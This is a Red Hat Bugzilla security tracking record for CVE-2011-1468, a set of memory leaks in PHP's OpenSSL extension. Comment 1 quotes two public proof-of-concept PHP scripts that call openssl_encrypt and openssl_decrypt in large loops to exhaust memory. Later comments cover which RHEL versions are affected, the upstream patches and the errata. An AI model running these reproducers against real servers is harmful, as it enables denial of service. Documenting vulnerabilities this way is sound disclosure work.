Bug 690899 (CVE-2011-1468)

Summary:	CVE-2011-1468 php: Multiple memory leaks in the OpenSSL extension
Product:	[Other] Security Response	Reporter:	Jan Lieskovsky <jlieskov>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED ERRATA	QA Contact:	David Kutálek <dkutalek>
Severity:	low	Docs Contact:
Priority:	low
Version:	unspecified	CC:	dkutalek, fedora, jorton, jrusnack, vdanen
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2011-11-02 23:05:56 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:
Bug Depends On:	740731, 740732, 740733, 740734, 831135
Bug Blocks:	715030

Description Jan Lieskovsky 2011-03-25 18:21:40 UTC

Common Vulnerabilities and Exposures assigned an identifier CVE-2011-1468 to
the following vulnerability:

Multiple memory leaks in the OpenSSL extension in PHP before 5.3.6
might allow remote attackers to cause a denial of service (memory
consumption) via (1) plaintext data to the openssl_encrypt function or
(2) ciphertext data to the openssl_decrypt function.

References:
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1468
[2] http://bugs.php.net/bug.php?id=54060
[3] http://bugs.php.net/bug.php?id=54061
[4] http://www.php.net/ChangeLog-5.php

Upstream patch:
[6] http://svn.php.net/viewvc/?view=revision&amp;revision=308531

Comment 1 Jan Lieskovsky 2011-03-25 18:25:08 UTC

Public PoC from [2]:
====================
<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437
r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439
8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
        openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs
".($maxi/$t)."#/sec \n";

?>

Public PoC from [3]:
====================
<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	$cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
	$dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');
	if ($dcr != $data.$i){
		print "at step $i decryption failed\n";
	}
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";
?>

Comment 3 Jan Lieskovsky 2011-03-25 18:28:15 UTC

This issue did NOT affect the versions of the php package, as shipped
with Red Hat Enterprise Linux 4 and 5.

--

This issue affects the version of the php53 package, as shipped with
Red Hat Enterprise Linux 5.

This issue affects the version of the php package, as shipped with
Red Hat Enterprise Linux 6.

--

This issue does NOT affect the versions of the php package, as shipped
with Fedora release of 13 and 14 (particular packages update has been
already scheduled).

Comment 6 Joe Orton 2011-03-29 12:07:51 UTC

The corresponding fix to openssl_decrypt() is:

http://svn.php.net/viewvc?view=revision&revision=308534

Comment 14 errata-xmlrpc 2011-11-02 22:24:38 UTC

This issue has been addressed in following products:

  Red Hat Enterprise Linux 5
  Red Hat Enterprise Linux 6

Via RHSA-2011:1423 https://rhn.redhat.com/errata/RHSA-2011-1423.html

Comment 15 Vincent Danen 2011-11-02 23:05:56 UTC

Statement:

Not vulnerable.  This issue did not affect the versions of php as shipped with Red Hat Enterprise Linux 4 and 5.  It has been addressed in Red Hat Enterprise Linux 5 (php53) and 6 (php).